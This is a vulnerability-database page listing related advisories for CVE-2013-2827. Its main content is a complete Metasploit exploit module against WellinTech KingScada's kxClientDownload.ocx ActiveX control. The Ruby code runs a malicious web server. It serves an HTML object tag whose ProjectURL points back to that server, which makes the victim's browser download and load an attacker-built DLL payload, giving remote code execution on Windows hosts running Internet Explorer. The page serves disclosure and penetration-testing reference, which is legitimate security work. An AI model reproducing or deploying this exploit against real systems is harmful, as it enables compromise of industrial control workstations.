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KingScada kxClientDownload.ocx ActiveX Remote Code Execution

🗓️ 07 Feb 2014 00:36:25Reported by Andrea Micalizzi, juan vazquez <[email protected]>Type

KingScada kxClientDownload.ocx ActiveX Remote Code Executio

Reporter	Title	Published	Views	Family All 11
Zero Day Initiative	WellinTech KingScada KingGraphic kxClientDownload ActiveX Remote Code Execution Vulnerability	5 Feb 201400:00	–	zdi
CVE	CVE-2013-2827	15 Jan 201416:08	–	cve
Prion	Code injection	15 Jan 201416:08	–	prion
Cvelist	CVE-2013-2827	15 Jan 201416:00	–	cvelist
0day.today	KingScada kxClientDownload.ocx ActiveX Remote Code Execution	11 Feb 201400:00	–	zdt
seebug.org	KingSCADA/KingGraphic远程代码执行漏洞	12 Feb 201400:00	–	seebug
NVD	CVE-2013-2827	15 Jan 201416:08	–	nvd
Check Point Advisories	WellinTech Multiple Products kxClientDownload ActiveX Remote Code Execution (CVE-2013-2827)	13 Mar 201400:00	–	checkpoint_advisories
Packet Storm	KingScada kxClientDownload.ocx ActiveX Remote Code Execution	11 Feb 201400:00	–	packetstorm
Exploit DB	KingScada - kxClientDownload.ocx ActiveX Remote Code Execution (Metasploit)	11 Feb 201400:00	–	exploitdb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'KingScada kxClientDownload.ocx ActiveX Remote Code Execution',
      'Description'    => %q{
        This module abuses the kxClientDownload.ocx ActiveX control distributed with WellingTech KingScada.
        The ProjectURL property can be abused to download and load arbitrary DLLs from
        arbitrary locations, leading to arbitrary code execution, because of a dangerous
        usage of LoadLibrary. Due to the nature of the vulnerability, this module will work
        only when Protected Mode is not present or not enabled.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Andrea Micalizzi',  # aka rgod original discovery
          'juan vazquez'       # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2013-2827'],
          ['OSVDB', '102135'],
          ['BID', '64941'],
          ['ZDI', '14-011'],
          ['URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-344-01']
        ],
      'DefaultOptions' =>
        {
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'BrowserRequirements' =>
        {
          :source      => /script|headers/i,
          :os_name     => OperatingSystems::Match::WINDOWS,
          :ua_name     => /MSIE|KXCLIE/i,
          :activex => [
            {
              clsid: '{1A90B808-6EEF-40FF-A94C-D7C43C847A9F}',
              method: 'ProjectURL'
            }
          ],
        },
      'Payload'        =>
        {
          'Space'           => 2048,
          'StackAdjustment' => -3500,
          'DisableNopes'    => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2014-01-14'))
  end

  def on_request_exploit(cli, request, target_info)
    print_status("Requested: #{request.uri}")

    if request.uri =~ /\/libs\/.*\.dll/
      print_good("Sending DLL payload")
      send_response(cli,
        generate_payload_dll(:code => get_payload(cli, target_info)),
        'Content-Type' => 'application/octet-stream'
      )
      return
    elsif request.uri =~ /\/libs\//
      print_status("Sending not found")
      send_not_found(cli)
      return
    end

    content = <<-EOS
<html>
<body>
<object classid='clsid:1A90B808-6EEF-40FF-A94C-D7C43C847A9F' id='#{rand_text_alpha(10 + rand(10))}'>
<param name="ProjectURL" value="#{get_module_uri}"></param>
</object>
</body>
</html>
    EOS

    print_status("Sending #{self.name}")
    send_response_html(cli, content)
  end
end

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07 Feb 2014 00:25Current

7.5High risk

Vulners AI Score7.5

EPSS0.553